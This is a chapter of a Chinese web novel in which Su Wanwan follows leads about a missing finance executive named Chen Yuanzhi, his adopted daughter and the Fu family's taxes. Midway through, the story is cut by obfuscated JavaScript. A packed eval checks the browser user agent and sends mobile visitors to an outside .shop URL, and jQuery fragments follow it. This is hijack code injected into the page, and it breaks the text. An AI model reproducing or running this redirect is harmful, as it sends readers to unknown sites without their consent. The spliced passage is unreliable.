雨停了之后，空气里剩下一股湿漉漉的土腥味，像刚翻过的地。
苏晚晚坐在老周嫂家二楼的窗边，把秋姨那个牛皮纸信封拆开。封口用透明胶带封了三道——横两道，竖一道，撕的时候纸张边缘带起一层薄薄的毛絮。里面只有一张纸，对折两次，纸质厚实，带着水印花纹，对着光能看到暗纹——一朵很小的云。
信纸上五行字，手写，蓝黑墨水。字迹瘦长，收笔干净利落，像用尺子比着写出来的。
“傅氏税务异常。八年前曾有一份内部报告，由时任财务部副总监陈远志主导，报告未完成。陈远志于报告开始后的第三个月失踪，至今下落不明。”
苏晚晚把纸举到光下看了一遍，翻过来——背面空白。她把纸放回信封里，靠在椅背上。
窗外的桂花树上落了一只灰麻雀，在枝头跳了两下，抖落几滴水珠。
陈远志。她在心里把这个名字默念了一遍。八年前，她还没嫁进傅家，甚至不认识傅衍之。那年傅氏扩张得最猛——一年内拿下三块地、两家商场、一条商业街的运营权。也是在同一年，傅衍之的父亲心脏病发去世，他临危受命接手公司。
有什么东西在她脑海里拼合起来——新婚第一年某个深夜，十一月，天气已经转凉了。她端了碗参茶去书房，推门时傅衍之正盯着电脑屏幕，眉头拧紧，手指悬在键盘上方没有落下。她走过去把茶放在桌角，他没有抬头，只说了一句“放那儿吧”。她转身时余光扫过屏幕——一份文件名很长的PDF，缩到最小化窗口之前，她只看到“内部审计”四个字。
那时候她以为他是在为季度报表发愁。
现在想来，那个皱眉的表情里，藏着陈远志的名字。
她垂下眼，把信纸折好放回信封里。信封搁在桌上时，边缘碰到茶杯底座，发出一声干燥的轻响。
她下楼的时候老周嫂正在院子里收晾了一天的被单。被单被风吹得鼓起来，像一面白色的帆。老周嫂侧过身，把被单叠好搭在手臂上，看了她一眼：“镇上有个能查东西的地方，街尾老邮电所后院改的打印店。老板姓杨，以前在县城派出所干过内勤。话少，不问事。”
苏晚晚点了点头，走出院门。
邮电所后院的门面不大，招牌被树荫遮住了一半，只露出“图文快印”四个字，笔画被晒得褪了色，边缘泛着白。苏晚晚推门进去，里面只有一台复印机、一台电脑和一张堆满票据的办公桌。一个五十来岁的男人坐在桌前，正在看手机上的视频，声音外放，是某个地方台的新闻重播。他看见有人进来，按了暂停，把手机扣在桌上。
“打印还是复印？”
“查一个人。”
杨老板抬起头看了她一眼。那双眼睛不大，眼皮有些耷拉，但目光很稳——不是看脸，是看手上的动作、走路时身体的倾斜角度、说话时下巴的高度。他扫了苏晚晚一遍，不急不缓，然后伸手从抽屉里摸出一包烟，抽出一根，在桌面上磕了两下，没有点。
“名字？”
“陈远志。八年前在傅氏财团做财务副总监。”
杨老板把烟叼在嘴唇间，开始敲键盘。老旧的机械键盘发出清脆的嗒嗒声，在安静的房间里格外清晰。屏幕的光映在他的镜片上，他眯着眼看了几秒，停下来，又看了几秒。
“有这个人。”他把电脑屏幕转过来一半。
苏晚晚绕过桌角看了一眼。屏幕上是一个户籍档案页面，照片上的男人三十来岁，瘦，戴着一副黑框眼镜，下巴有一颗明显的黑痣。他穿着白衬衫，没打领带，表情很淡，像是一张被时间磨平了所有棱角的证件照。
“他老婆三年前走的。”杨老板说，声音很平，“走之前把女儿送到了福利院。去年，小孩被人领走了。”
“谁领的？”
“记录上只留了一个联系电话，没有署名。”杨老板把屏幕转回去，敲了两下键盘，“号是锦城的，现在还能打通。”
苏晚晚从口袋里掏出手机，准备记，但杨老板摆了摆手。
“我不给你号码。你自己去查。”他把那根没点的烟从嘴唇间取下来，放回烟盒里，“我这个店小，经不起被人上门查。”
他顿了顿，目光从屏幕上移到苏晚晚脸上，停了一下，又收回去。那个停顿很短，像他本来有话没说，又咽回去了。
苏晚晚没有追问。她把钱放在桌上——一张二十块，压在票据夹子下面。她转身推门的时候，身后的键盘声停了。
杨老板的声音从背后传来，很平，像在说一件跟自己无关的事：“那姑娘被领走那年，税务局的人来过这里。”
苏晚晚握着门把手的手顿住了。她回头，杨老板已经重新点开了手机上的视频，屏幕的光映在他脸上，表情没有任何变化。他没有看她，像是刚才那句话没说过。
苏晚晚站了两秒钟，推门走了出去。
她站在街边，脑海里杨老板那句话还在回响——税务局的人来过。她想起秋姨说过“那个审计师的女儿被领走了”，税务局的介入让她心头一沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741881|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，有什么东西连起来了，但还差中间最重要的一环。她掏出手机翻到秋姨的号码，又退出来。陈远志失踪那年，也是傅衍之父亲去世的一年。这两件事之间的空隙，比她想象中窄。
她拨了秋姨的号码。
响了两声，接通了。
“秋姨，陈远志的女儿，是不是被你安排人领走的？”
电话那头安静了一瞬。然后秋姨的声音传过来，不紧不慢的，像在把一根线头理顺：“不是。但我的人查到了是谁领的。”
“谁？”
“一个自称是陈远志远房亲戚的人。用的是陈远志妻子的娘家地址登记。领养手续完全合法，民政局审核过，没有问题。”秋姨停顿了一下，“手续合法，但名字是假的。”
苏晚晚握着手机没有接话。风吹过来，她侧了侧身，把手机换到另一只耳朵上。“那你查到了吗，那人到底是谁？”
“我在查。”秋姨的声音里有一种很少见的、极淡的凝重，“查了两个月。线索断了两次。”
苏晚晚挂断电话后，没有立刻放回口袋。她握着手机站在街道中央，那只握着手机的手指尖泛白，虎口处被棱角硌出一道浅浅的红印。
她的脑海里闪过新婚第一年冬天那个深夜——书房的灯还亮着，傅衍之坐在那盏台灯下，对着屏幕紧锁眉头。她端着参茶推门进去，他用手挡开了茶杯，说“不要打扰我”。那时候她觉得他是累的。现在想来，那个皱眉的表情里，藏着陈远志的名字。
她把手机放进外套内袋，揣进去的时候，指腹碰到了一张纸条——是老周嫂早上给的那个开锁师傅的电话。她攥着那张纸条的边缘，隔着布料慢慢捏了一遍。
然后她转身往邮电所的方向走了两步。
手机震了一下。
她低头看了一眼屏幕——一条短信，来自一个她没有存过的号码。只有一行字：
“你找的人，别查太深。”
苏晚晚站在街道中央，阳光从云缝里漏下来，照在她的肩膀上。她低头看着那行字，没有动。过了几秒，她把短信截了图，然后删掉了那条消息。那个号码她记住了——尾号是锦城的，她不会忘。她把手机锁屏，放回口袋里。
她抬起头，往另一个方向走去。她也不知道自己想去哪，只是觉得走着会快一些。脚步踩在湿漉漉的水泥地上，发出细碎的声响。街对面那棵老槐树的树影落在她脚下，被风吹动，像一张泡过水的旧照片——边缘已经模糊了，但中间那个人影还在，还在往下沉。